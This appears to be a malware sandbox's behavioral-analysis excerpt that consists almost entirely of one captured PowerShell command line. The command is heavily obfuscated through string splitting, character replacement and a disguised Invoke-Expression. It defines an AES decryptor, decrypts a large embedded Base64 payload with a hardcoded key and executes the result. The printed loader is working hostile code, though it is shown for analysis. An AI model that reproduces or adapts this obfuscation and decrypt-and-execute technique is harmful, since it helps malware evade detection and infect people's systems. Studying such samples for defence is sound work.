Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74328840722782576545825437205778CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIDFmt3MLNsK5aPpWbbIsBztpHuNrvMKi2jQU7fNLn0oMezIRYvIXeNHjkzcV0L3UZYqPgeEeMmKQG749m6fkiZBxoCMJZ51QJHUT+m0EixkU8s9qZ5cpt1AKID+ZFqc5VpkXFfLxCerM+fcw3/kGciLCo7LgS8a4BaZ48pjFi24pfdcuQwkClSibjgqYqSip9y5/dCAf6Nzz5QdAkde9PIMAQZt2oUDP7dM+N5eg9rXEnjwn0B2AWan/di8xNl5jllqI+bDLqPspcx8R2k37fOc1z9LI4HEbUAqTWIxNOW9Uzsaag6AHwENZIp1xGiyWFcUXdCTQMEJlfNcCdYWMwhQ8RdsHTWNZupvIsEHo9vGitwpM43p2UMy8PZdoCkoOiBohaKNZtbWS+t1FKRuAyozJz3z74u8Vq9GpIRAkOMw8Kce1yYCWbyqrbANO0I1sbG6lSeb394etA7LVCP7hnCd910mPNaByk1+GkhpZNKwJYERN9oxVzZ3zYiiaMZwUOoF547hGx+VxnktvtvwHpGFpj/nNK0aZRiXnJNQyLPmKiTH9ScDobO07O3QmUe3aUKuHE6/91ZF5RkyQDZgU3WV7dVPaYAApQkivkedaUvxlbEitTCnkzDfrKLvgbQym5DyAWxvPRhBT3lzI0GAFR9RPITKZ5R26nBhOhfd5An5QV6eF/Q9qnF0+3INT0tqVhhlfUi6O/pD0Cnw+o1GM92kSZ1OY51Ke+iJabzAenJU6aKyir+3zjfzS1NjosWlMcxOT2hGbn7Q2NS5O67xvgTYR6JNIQy2QOJ5IQ74EtDP9YC3iuyPh3b9ZxN7SbcmuV7PyW9uMV0jTdXQyOjbN+MB7Lr2GeM71Ug4wJ1FSPUzLChYRSFvdW61JiXWDA8fxVqqa55yq2wbjRGx8bbBGKECqW98HG4Tt8kzQyhom1+6KQjGm9fttMB6IBs/tqSiGidiRNHvVuwagWPJc27hAGyVLLYmDieAZSWpzJfYBprtbZqIM4F4/8ORw4hALpcN00nwkezpiCNsEU1DVU/xjCu/NROHLpmin8A/ao8gxb1PbnA/aJbvT4iU7LWDoIaRgO6m5wnG5eZf5Bnp3Bu4pvMAB8mgkwSAlTxHrIP79+Rl9lzLULYVHqNDbC7ukR1y9OFQKMLb2RUPx3XDyT8Da6AT9OFvAw8DLGT5R42eH3BmcweUr45fMCNAtjsYGeKAhGwasQKil9m5sWs3BmuR1JzMmTOxz+jiFF+yxy7buKzTOYO5vp2MrgqhXRZnS7osSb0yxELPfYkXpHhY1UZxV0bH8M9Cf0FGE3GnOR6qi0rlIU1lVj/cK367cmqZwIv0f3dzIBK1lhxQ2Lzo1tml4es+/vdjtLO1uRrYIGg/PiF0Z8kulZ38pXe6E1/MoMnArEygx0T4yYP/4ZHZaSfHoMfk09xITstL9nkUMi3iaGtKg=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')